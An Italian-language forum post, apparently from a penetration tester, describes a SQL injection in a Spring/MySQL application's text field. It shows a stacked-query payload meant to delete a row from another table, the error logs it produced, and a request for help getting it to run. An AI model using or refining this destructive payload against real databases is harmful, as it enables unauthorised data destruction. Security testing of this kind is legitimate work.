Sono black-box per testare un'applicazione che usa il framework java spring e MySQL nel back-end.
Quando inserisco una virgoletta singola ( '
) in un campo della casella di testo, il server restituisce un codice di stato HTTP 500 Errore interno del server con la traccia dello stack di errori di sotto,
org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];
Quindi è assolutamente un SQL Injection.
E per questo motivo, ho provato a eliminare una riga in un'altra tabella che si trova nello stesso DB con il payload sottostante:
%'); DELETE FROM p_test WHERE t_id=1#
che a sua volta cambia la query come:
select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10
Ora una riga deve essere cancellata nella tabella p_test con t_id = 1
, ma restituisce il codice di stato HTTP 500 con la traccia dello stack sottostante,
[http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver - doResolveException going to resolve the following exception : org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1
Se qualcuno ha qualche idea, rispondi.